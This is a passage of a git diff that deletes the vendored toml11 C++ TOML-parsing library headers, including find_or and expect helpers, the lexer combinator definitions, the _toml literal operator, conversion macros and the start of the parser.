basic_value(std::move(tab.at(ky))); -} - -// --------------------------------------------------------------------------- -// exact types (return type can be a reference) -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T> const& -find_or(const basic_value& v, const key& ky, const T& opt) -{ - if(!v.is_table()) {return opt;} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} - -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T>& -find_or(basic_value& v, const toml::key& ky, T& opt) -{ - if(!v.is_table()) {return opt;} - auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} - -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, - detail::remove_cvref_t> -find_or(basic_value&& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::forward(opt);} - auto tab = std::move(v).as_table(); - if(tab.count(ky) == 0) {return std::forward(opt);} - return get_or(std::move(tab.at(ky)), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// std::string (return type can be a reference) - -template class M, template class V> -detail::enable_if_t::value, std::string> const& -find_or(const basic_value& v, const key& ky, const T& opt) -{ - if(!v.is_table()) {return opt;} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} -template class M, template class V> -detail::enable_if_t::value, std::string>& -find_or(basic_value& v, const toml::key& ky, T& opt) -{ - if(!v.is_table()) {return opt;} - auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return get_or(tab.at(ky), opt); -} -template class M, template class V> -detail::enable_if_t::value, std::string> -find_or(basic_value&& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::forward(opt);} - auto tab = std::move(v).as_table(); - if(tab.count(ky) == 0) {return std::forward(opt);} - return get_or(std::move(tab.at(ky)), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// string literal (deduced as std::string) -template class M, template class V> -detail::enable_if_t< - detail::is_string_literal::type>::value, - std::string> -find_or(const basic_value& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::string(opt);} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return std::string(opt);} - return get_or(tab.at(ky), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// others (require type conversion and return type cannot be lvalue reference) -template class M, template class V> -detail::enable_if_t, basic_value>>, - // T is not std::string - detail::negation>>, - // T is not a string literal - detail::negation::type>> - >::value, detail::remove_cvref_t> -find_or(const basic_value& v, const toml::key& ky, T&& opt) -{ - if(!v.is_table()) {return std::forward(opt);} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return std::forward(opt);} - return get_or(tab.at(ky), std::forward(opt)); -} - -// --------------------------------------------------------------------------- -// recursive find-or with type deduction (find_or(value, keys, opt)) - -template 1), std::nullptr_t> = nullptr> - // here we need to add SFINAE in the template parameter to avoid - // infinite recursion in type deduction on gcc -auto find_or(Value&& v, const toml::key& ky, Ks&& ... keys) - -> decltype(find_or(std::forward(v), ky, detail::last_one(std::forward(keys)...))) -{ - if(!v.is_table()) - { - return detail::last_one(std::forward(keys)...); - } - auto&& tab = std::forward(v).as_table(); - if(tab.count(ky) == 0) - { - return detail::last_one(std::forward(keys)...); - } - return find_or(std::forward(tab).at(ky), std::forward(keys)...); -} - -// --------------------------------------------------------------------------- -// recursive find_or with explicit type specialization, find_or(value, keys...) - -template 1), std::nullptr_t> = nullptr> - // here we need to add SFINAE in the template parameter to avoid - // infinite recursion in type deduction on gcc -auto find_or(Value&& v, const toml::key& ky, Ks&& ... keys) - -> decltype(find_or(std::forward(v), ky, detail::last_one(std::forward(keys)...))) -{ - if(!v.is_table()) - { - return detail::last_one(std::forward(keys)...); - } - auto&& tab = std::forward(v).as_table(); - if(tab.count(ky) == 0) - { - return detail::last_one(std::forward(keys)...); - } - return find_or(std::forward(tab).at(ky), std::forward(keys)...); -} - -// ============================================================================ -// expect - -template class M, template class V> -result expect(const basic_value& v) noexcept -{ - try - { - return ok(get(v)); - } - catch(const std::exception& e) - { - return err(e.what()); - } -} -template class M, template class V> -result -expect(const basic_value& v, const toml::key& k) noexcept -{ - try - { - return ok(find(v, k)); - } - catch(const std::exception& e) - { - return err(e.what()); - } -} - -} // toml -#endif// TOML11_GET diff --git a/src/toml11/toml/into.hpp b/src/toml11/toml/into.hpp deleted file mode 100644 index 74495560e..000000000 --- a/src/toml11/toml/into.hpp +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_INTO_HPP -#define TOML11_INTO_HPP - -namespace toml -{ - -template -struct into; -// { -// static toml::value into_toml(const T& user_defined_type) -// { -// // User-defined conversions ... -// } -// }; - -} // toml -#endif // TOML11_INTO_HPP diff --git a/src/toml11/toml/lexer.hpp b/src/toml11/toml/lexer.hpp deleted file mode 100644 index ea5050b8d..000000000 --- a/src/toml11/toml/lexer.hpp +++ /dev/null @@ -1,293 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_LEXER_HPP -#define TOML11_LEXER_HPP -#include -#include -#include -#include - -#include "combinator.hpp" - -namespace toml -{ -namespace detail -{ - -// these scans contents from current location in a container of char -// and extract a region that matches their own pattern. -// to see the implementation of each component, see combinator.hpp. - -using lex_wschar = either, character<'\t'>>; -using lex_ws = repeat>; -using lex_newline = either, - sequence, character<'\n'>>>; -using lex_lower = in_range<'a', 'z'>; -using lex_upper = in_range<'A', 'Z'>; -using lex_alpha = either; -using lex_digit = in_range<'0', '9'>; -using lex_nonzero = in_range<'1', '9'>; -using lex_oct_dig = in_range<'0', '7'>; -using lex_bin_dig = in_range<'0', '1'>; -using lex_hex_dig = either, in_range<'a', 'f'>>; - -using lex_hex_prefix = sequence, character<'x'>>; -using lex_oct_prefix = sequence, character<'o'>>; -using lex_bin_prefix = sequence, character<'b'>>; -using lex_underscore = character<'_'>; -using lex_plus = character<'+'>; -using lex_minus = character<'-'>; -using lex_sign = either; - -// digit | nonzero 1*(digit | _ digit) -using lex_unsigned_dec_int = either>, at_least<1>>>, - lex_digit>; -// (+|-)? unsigned_dec_int -using lex_dec_int = sequence, lex_unsigned_dec_int>; - -// hex_prefix hex_dig *(hex_dig | _ hex_dig) -using lex_hex_int = sequence>, unlimited>>>; -// oct_prefix oct_dig *(oct_dig | _ oct_dig) -using lex_oct_int = sequence>, unlimited>>>; -// bin_prefix bin_dig *(bin_dig | _ bin_dig) -using lex_bin_int = sequence>, unlimited>>>; - -// (dec_int | hex_int | oct_int | bin_int) -using lex_integer = either; - -// =========================================================================== - -using lex_inf = sequence, character<'n'>, character<'f'>>; -using lex_nan = sequence, character<'a'>, character<'n'>>; -using lex_special_float = sequence, either>; - -using lex_zero_prefixable_int = sequence>, unlimited>>; - -using lex_fractional_part = sequence, lex_zero_prefixable_int>; - -using lex_exponent_part = sequence, character<'E'>>, - maybe, lex_zero_prefixable_int>; - -using lex_float = either>>>>; - -// =========================================================================== - -using lex_true = sequence, character<'r'>, - character<'u'>, character<'e'>>; -using lex_false = sequence, character<'a'>, character<'l'>, - character<'s'>, character<'e'>>; -using lex_boolean = either; - -// =========================================================================== - -using lex_date_fullyear = repeat>; -using lex_date_month = repeat>; -using lex_date_mday = repeat>; -using lex_time_delim = either, character<'t'>, character<' '>>; -using lex_time_hour = repeat>; -using lex_time_minute = repeat>; -using lex_time_second = repeat>; -using lex_time_secfrac = sequence, - repeat>>; - -using lex_time_numoffset = sequence, character<'-'>>, - sequence, - lex_time_minute>>; -using lex_time_offset = either, character<'z'>, - lex_time_numoffset>; - -using lex_partial_time = sequence, - lex_time_minute, character<':'>, - lex_time_second, maybe>; -using lex_full_date = sequence, - lex_date_month, character<'-'>, - lex_date_mday>; -using lex_full_time = sequence; - -using lex_offset_date_time = sequence; -using lex_local_date_time = sequence; -using lex_local_date = lex_full_date; -using lex_local_time = lex_partial_time; - -// =========================================================================== - -using lex_quotation_mark = character<'"'>; -using lex_basic_unescaped = exclude, // 0x09 (tab) is allowed - in_range<0x0A, 0x1F>, - character<0x22>, character<0x5C>, - character<0x7F>>>; - -using lex_escape = character<'\\'>; -using lex_escape_unicode_short = sequence, - repeat>>; -using lex_escape_unicode_long = sequence, - repeat>>; -using lex_escape_seq_char = either, character<'\\'>, - character<'b'>, character<'f'>, - character<'n'>, character<'r'>, - character<'t'>, - lex_escape_unicode_short, - lex_escape_unicode_long - >; -using lex_escaped = sequence; -using lex_basic_char = either; -using lex_basic_string = sequence, - lex_quotation_mark>; - -// After toml post-v0.5.0, it is explicitly clarified how quotes in ml-strings -// are allowed to be used. -// After this, the following strings are *explicitly* allowed. -// - One or two `"`s in a multi-line basic string is allowed wherever it is. -// - Three consecutive `"`s in a multi-line basic string is considered as a delimiter. -// - One or two `"`s can appear just before or after the delimiter. -// ```toml -// str4 = """Here are two quotation marks: "". Simple enough.""" -// str5 = """Here are three quotation marks: ""\".""" -// str6 = """Here are fifteen quotation marks: ""\"""\"""\"""\"""\".""" -// str7 = """"This," she said, "is just a pointless statement."""" -// ``` -// In the current implementation (v3.3.0), it is difficult to parse `str7` in -// the above example. It is difficult to recognize `"` at the end of string body -// collectly. It will be misunderstood as a `"""` delimiter and an additional, -// invalid `"`. Like this: -// ```console -// what(): [error] toml::parse_table: invalid line format -// --> hoge.toml -// | -// 13 | str7 = """"This," she said, "is just a pointless statement."""" -// | ^- expected newline, but got '"'. -// ``` -// As a quick workaround for this problem, `lex_ml_basic_string_delim` was -// split into two, `lex_ml_basic_string_open` and `lex_ml_basic_string_close`. -// `lex_ml_basic_string_open` allows only `"""`. `_close` allows 3-5 `"`s. -// In parse_ml_basic_string() function, the trailing `"`s will be attached to -// the string body. -// -using lex_ml_basic_string_delim = repeat>; -using lex_ml_basic_string_open = lex_ml_basic_string_delim; -using lex_ml_basic_string_close = sequence< - repeat>, - maybe, maybe - >; - -using lex_ml_basic_unescaped = exclude, // 0x09 is tab - in_range<0x0A, 0x1F>, - character<0x5C>, // backslash - character<0x7F>, // DEL - lex_ml_basic_string_delim>>; - -using lex_ml_basic_escaped_newline = sequence< - lex_escape, maybe, lex_newline, - repeat, unlimited>>; - -using lex_ml_basic_char = either; -using lex_ml_basic_body = repeat, - unlimited>; -using lex_ml_basic_string = sequence; - -using lex_literal_char = exclude, in_range<0x0A, 0x1F>, - character<0x7F>, character<0x27>>>; -using lex_apostrophe = character<'\''>; -using lex_literal_string = sequence, - lex_apostrophe>; - -// the same reason as above. -using lex_ml_literal_string_delim = repeat>; -using lex_ml_literal_string_open = lex_ml_literal_string_delim; -using lex_ml_literal_string_close = sequence< - repeat>, - maybe, maybe - >; - -using lex_ml_literal_char = exclude, - in_range<0x0A, 0x1F>, - character<0x7F>, - lex_ml_literal_string_delim>>; -using lex_ml_literal_body = repeat, - unlimited>; -using lex_ml_literal_string = sequence; - -using lex_string = either; - -// =========================================================================== -using lex_dot_sep = sequence, character<'.'>, maybe>; - -using lex_unquoted_key = repeat, character<'_'>>, - at_least<1>>; -using lex_quoted_key = either; -using lex_simple_key = either; -using lex_dotted_key = sequence, - at_least<1> - > - >; -using lex_key = either; - -using lex_keyval_sep = sequence, - character<'='>, - maybe>; - -using lex_std_table_open = character<'['>; -using lex_std_table_close = character<']'>; -using lex_std_table = sequence, - lex_key, - maybe, - lex_std_table_close>; - -using lex_array_table_open = sequence; -using lex_array_table_close = sequence; -using lex_array_table = sequence, - lex_key, - maybe, - lex_array_table_close>; - -using lex_utf8_1byte = in_range<0x00, 0x7F>; -using lex_utf8_2byte = sequence< - in_range(0xC2), static_cast(0xDF)>, - in_range(0x80), static_cast(0xBF)> - >; -using lex_utf8_3byte = sequence(0xE0)>, in_range(0xA0), static_cast(0xBF)>>, - sequence(0xE1), static_cast(0xEC)>, in_range(0x80), static_cast(0xBF)>>, - sequence(0xED)>, in_range(0x80), static_cast(0x9F)>>, - sequence(0xEE), static_cast(0xEF)>, in_range(0x80), static_cast(0xBF)>> - >, in_range(0x80), static_cast(0xBF)>>; -using lex_utf8_4byte = sequence(0xF0)>, in_range(0x90), static_cast(0xBF)>>, - sequence(0xF1), static_cast(0xF3)>, in_range(0x80), static_cast(0xBF)>>, - sequence(0xF4)>, in_range(0x80), static_cast(0x8F)>> - >, in_range(0x80), static_cast(0xBF)>, - in_range(0x80), static_cast(0xBF)>>; -using lex_utf8_code = either< - lex_utf8_1byte, - lex_utf8_2byte, - lex_utf8_3byte, - lex_utf8_4byte - >; - -using lex_comment_start_symbol = character<'#'>; -using lex_non_eol_ascii = either, in_range<0x20, 0x7E>>; -using lex_comment = sequence, unlimited>>; - -} // detail -} // toml -#endif // TOML_LEXER_HPP diff --git a/src/toml11/toml/literal.hpp b/src/toml11/toml/literal.hpp deleted file mode 100644 index 04fbbc13e..000000000 --- a/src/toml11/toml/literal.hpp +++ /dev/null @@ -1,113 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_LITERAL_HPP -#define TOML11_LITERAL_HPP -#include "parser.hpp" - -namespace toml -{ -inline namespace literals -{ -inline namespace toml_literals -{ - -// implementation -inline ::toml::basic_value -literal_internal_impl(::toml::detail::location loc) -{ - using value_type = ::toml::basic_value< - TOML11_DEFAULT_COMMENT_STRATEGY, std::unordered_map, std::vector>; - // if there are some comments or empty lines, skip them. - using skip_line = ::toml::detail::repeat, - ::toml::detail::maybe<::toml::detail::lex_comment>, - ::toml::detail::lex_newline - >, ::toml::detail::at_least<1>>; - skip_line::invoke(loc); - - // if there are some whitespaces before a value, skip them. - using skip_ws = ::toml::detail::repeat< - ::toml::detail::lex_ws, ::toml::detail::at_least<1>>; - skip_ws::invoke(loc); - - // to distinguish arrays and tables, first check it is a table or not. - // - // "[1,2,3]"_toml; // this is an array - // "[table]"_toml; // a table that has an empty table named "table" inside. - // "[[1,2,3]]"_toml; // this is an array of arrays - // "[[table]]"_toml; // this is a table that has an array of tables inside. - // - // "[[1]]"_toml; // this can be both... (currently it becomes a table) - // "1 = [{}]"_toml; // this is a table that has an array of table named 1. - // "[[1,]]"_toml; // this is an array of arrays. - // "[[1],]"_toml; // this also. - - const auto the_front = loc.iter(); - - const bool is_table_key = ::toml::detail::lex_std_table::invoke(loc); - loc.reset(the_front); - - const bool is_aots_key = ::toml::detail::lex_array_table::invoke(loc); - loc.reset(the_front); - - // If it is neither a table-key or a array-of-table-key, it may be a value. - if(!is_table_key && !is_aots_key) - { - if(auto data = ::toml::detail::parse_value(loc)) - { - return data.unwrap(); - } - } - - // Note that still it can be a table, because the literal might be something - // like the following. - // ```cpp - // R"( // c++11 raw string literals - // key = "value" - // int = 42 - // )"_toml; - // ``` - // It is a valid toml file. - // It should be parsed as if we parse a file with this content. - - if(auto data = ::toml::detail::parse_toml_file(loc)) - { - return data.unwrap(); - } - else // none of them. - { - throw ::toml::syntax_error(data.unwrap_err(), source_location(loc)); - } - -} - -inline ::toml::basic_value -operator"" _toml(const char* str, std::size_t len) -{ - ::toml::detail::location loc( - std::string("TOML literal encoded in a C++ code"), - std::vector(str, str + len)); - // literal length does not include the null character at the end. - return literal_internal_impl(std::move(loc)); -} - -// value of __cplusplus in C++2a/20 mode is not fixed yet along compilers. -// So here we use the feature test macro for `char8_t` itself. -#if defined(__cpp_char8_t) && __cpp_char8_t >= 201811L -// value of u8"" literal has been changed from char to char8_t and char8_t is -// NOT compatible to char -inline ::toml::basic_value -operator"" _toml(const char8_t* str, std::size_t len) -{ - ::toml::detail::location loc( - std::string("TOML literal encoded in a C++ code"), - std::vector(reinterpret_cast(str), - reinterpret_cast(str) + len)); - return literal_internal_impl(std::move(loc)); -} -#endif - -} // toml_literals -} // literals -} // toml -#endif//TOML11_LITERAL_HPP diff --git a/src/toml11/toml/macros.hpp b/src/toml11/toml/macros.hpp deleted file mode 100644 index e8f91aecd..000000000 --- a/src/toml11/toml/macros.hpp +++ /dev/null @@ -1,121 +0,0 @@ -#ifndef TOML11_MACROS_HPP -#define TOML11_MACROS_HPP - -#define TOML11_STRINGIZE_AUX(x) #x -#define TOML11_STRINGIZE(x) TOML11_STRINGIZE_AUX(x) - -#define TOML11_CONCATENATE_AUX(x, y) x##y -#define TOML11_CONCATENATE(x, y) TOML11_CONCATENATE_AUX(x, y) - -// ============================================================================ -// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE - -#ifndef TOML11_WITHOUT_DEFINE_NON_INTRUSIVE - -// ---------------------------------------------------------------------------- -// TOML11_ARGS_SIZE - -#define TOML11_INDEX_RSEQ() \ - 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, \ - 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 -#define TOML11_ARGS_SIZE_IMPL(\ - ARG1, ARG2, ARG3, ARG4, ARG5, ARG6, ARG7, ARG8, ARG9, ARG10, \ - ARG11, ARG12, ARG13, ARG14, ARG15, ARG16, ARG17, ARG18, ARG19, ARG20, \ - ARG21, ARG22, ARG23, ARG24, ARG25, ARG26, ARG27, ARG28, ARG29, ARG30, \ - ARG31, ARG32, N, ...) N -#define TOML11_ARGS_SIZE_AUX(...) TOML11_ARGS_SIZE_IMPL(__VA_ARGS__) -#define TOML11_ARGS_SIZE(...) TOML11_ARGS_SIZE_AUX(__VA_ARGS__, TOML11_INDEX_RSEQ()) - -// ---------------------------------------------------------------------------- -// TOML11_FOR_EACH_VA_ARGS - -#define TOML11_FOR_EACH_VA_ARGS_AUX_1( FUNCTOR, ARG1 ) FUNCTOR(ARG1) -#define TOML11_FOR_EACH_VA_ARGS_AUX_2( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_1( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_3( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_2( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_4( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_3( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_5( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_4( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_6( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_5( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_7( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_6( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_8( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_7( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_9( FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_8( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_10(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_9( FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_11(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_10(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_12(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_11(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_13(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_12(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_14(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_13(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_15(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_14(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_16(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_15(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_17(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_16(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_18(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_17(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_19(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_18(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_20(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_19(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_21(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_20(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_22(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_21(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_23(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_22(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_24(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_23(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_25(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_24(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_26(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_25(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_27(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_26(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_28(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_27(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_29(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_28(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_30(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_29(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_31(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_30(FUNCTOR, __VA_ARGS__) -#define TOML11_FOR_EACH_VA_ARGS_AUX_32(FUNCTOR, ARG1, ...) FUNCTOR(ARG1) TOML11_FOR_EACH_VA_ARGS_AUX_31(FUNCTOR, __VA_ARGS__) - -#define TOML11_FOR_EACH_VA_ARGS(FUNCTOR, ...)\ - TOML11_CONCATENATE(TOML11_FOR_EACH_VA_ARGS_AUX_, TOML11_ARGS_SIZE(__VA_ARGS__))(FUNCTOR, __VA_ARGS__) - -// ---------------------------------------------------------------------------- -// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE - -// use it in the following way. -// ```cpp -// namespace foo -// { -// struct Foo -// { -// std::string s; -// double d; -// int i; -// }; -// } // foo -// -// TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(foo::Foo, s, d, i) -// ``` -// And then you can use `toml::find(file, "foo");` -// -#define TOML11_FIND_MEMBER_VARIABLE_FROM_VALUE(VAR_NAME)\ - obj.VAR_NAME = toml::find(v, TOML11_STRINGIZE(VAR_NAME)); - -#define TOML11_ASSIGN_MEMBER_VARIABLE_TO_VALUE(VAR_NAME)\ - v[TOML11_STRINGIZE(VAR_NAME)] = obj.VAR_NAME; - -#define TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(NAME, ...)\ - namespace toml { \ - template<> \ - struct from \ - { \ - template class T, \ - template class A> \ - static NAME from_toml(const basic_value& v) \ - { \ - NAME obj; \ - TOML11_FOR_EACH_VA_ARGS(TOML11_FIND_MEMBER_VARIABLE_FROM_VALUE, __VA_ARGS__) \ - return obj; \ - } \ - }; \ - template<> \ - struct into \ - { \ - static value into_toml(const NAME& obj) \ - { \ - ::toml::value v = ::toml::table{}; \ - TOML11_FOR_EACH_VA_ARGS(TOML11_ASSIGN_MEMBER_VARIABLE_TO_VALUE, __VA_ARGS__) \ - return v; \ - } \ - }; \ - } /* toml */ - -#endif// TOML11_WITHOUT_DEFINE_NON_INTRUSIVE - -#endif// TOML11_MACROS_HPP diff --git a/src/toml11/toml/parser.hpp b/src/toml11/toml/parser.hpp deleted file mode 100644 index e31179918..000000000 --- a/src/toml11/toml/parser.hpp +++ /dev/null @@ -1,2364 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_PARSER_HPP -#define TOML11_PARSER_HPP -#include -#include -#include - -#include "combinator.hpp" -#include "lexer.hpp" -#include "region.hpp" -#include "result.hpp" -#include "types.hpp" -#include "value.hpp" - -#ifndef TOML11_DISABLE_STD_FILESYSTEM -#ifdef __cpp_lib_filesystem -#if __has_include() -#define TOML11_HAS_STD_FILESYSTEM -#include -#endif // has_include() -#endif // __cpp_lib_filesystem -#endif // TOML11_DISABLE_STD_FILESYSTEM - -namespace toml -{ -namespace detail -{ - -inline result, std::string> -parse_boolean(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_boolean::invoke(loc)) - { - const auto reg = token.unwrap(); - if (reg.str() == "true") {return ok(std::make_pair(true, reg));} - else if(reg.str() == "false") {return ok(std::make_pair(false, reg));} - else // internal error. - { - throw internal_error(format_underline( - "toml::parse_boolean: internal error", - {{source_location(reg), "invalid token"}}), - source_location(reg)); - } - } - loc.reset(first); //rollback - return err(format_underline("toml::parse_boolean: ", - {{source_location(loc), "the next token is not a boolean"}})); -} - -inline result, std::string> -parse_binary_integer(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_bin_int::invoke(loc)) - { - auto str = token.unwrap().str(); - assert(str.size() > 2); // minimum -> 0b1 - integer retval(0), base(1); - for(auto i(str.rbegin()), e(str.rend() - 2); i!=e; ++i) - { - if (*i == '1'){retval += base; base *= 2;} - else if(*i == '0'){base *= 2;} - else if(*i == '_'){/* do nothing. */} - else // internal error. - { - throw internal_error(format_underline( - "toml::parse_integer: internal error", - {{source_location(token.unwrap()), "invalid token"}}), - source_location(loc)); - } - } - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_binary_integer:", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_octal_integer(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_oct_int::invoke(loc)) - { - auto str = token.unwrap().str(); - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - str.erase(str.begin()); str.erase(str.begin()); // remove `0o` prefix - - std::istringstream iss(str); - integer retval(0); - iss >> std::oct >> retval; - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_octal_integer:", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_hexadecimal_integer(location& loc) -{ - const auto first = loc.iter(); - if(const auto token = lex_hex_int::invoke(loc)) - { - auto str = token.unwrap().str(); - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - str.erase(str.begin()); str.erase(str.begin()); // remove `0x` prefix - - std::istringstream iss(str); - integer retval(0); - iss >> std::hex >> retval; - return ok(std::make_pair(retval, token.unwrap())); - } - loc.reset(first); - return err(format_underline("toml::parse_hexadecimal_integer", - {{source_location(loc), "the next token is not an integer"}})); -} - -inline result, std::string> -parse_integer(location& loc) -{ - const auto first = loc.iter(); - if(first != loc.end() && *first == '0') - { - const auto second = std::next(first); - if(second == loc.end()) // the token is just zero. - { - loc.advance(); - return ok(std::make_pair(0, region(loc, first, second))); - } - - if(*second == 'b') {return parse_binary_integer (loc);} // 0b1100 - if(*second == 'o') {return parse_octal_integer (loc);} // 0o775 - if(*second == 'x') {return parse_hexadecimal_integer(loc);} // 0xC0FFEE - - if(std::isdigit(*second)) - { - return err(format_underline("toml::parse_integer: " - "leading zero in an Integer is not allowed.", - {{source_location(loc), "leading zero"}})); - } - else if(std::isalpha(*second)) - { - return err(format_underline("toml::parse_integer: " - "unknown integer prefix appeared.", - {{source_location(loc), "none of 0x, 0o, 0b"}})); - } - } - - if(const auto token = lex_dec_int::invoke(loc)) - { - auto str = token.unwrap().str(); - str.erase(std::remove(str.begin(), str.end(), '_'), str.end()); - - 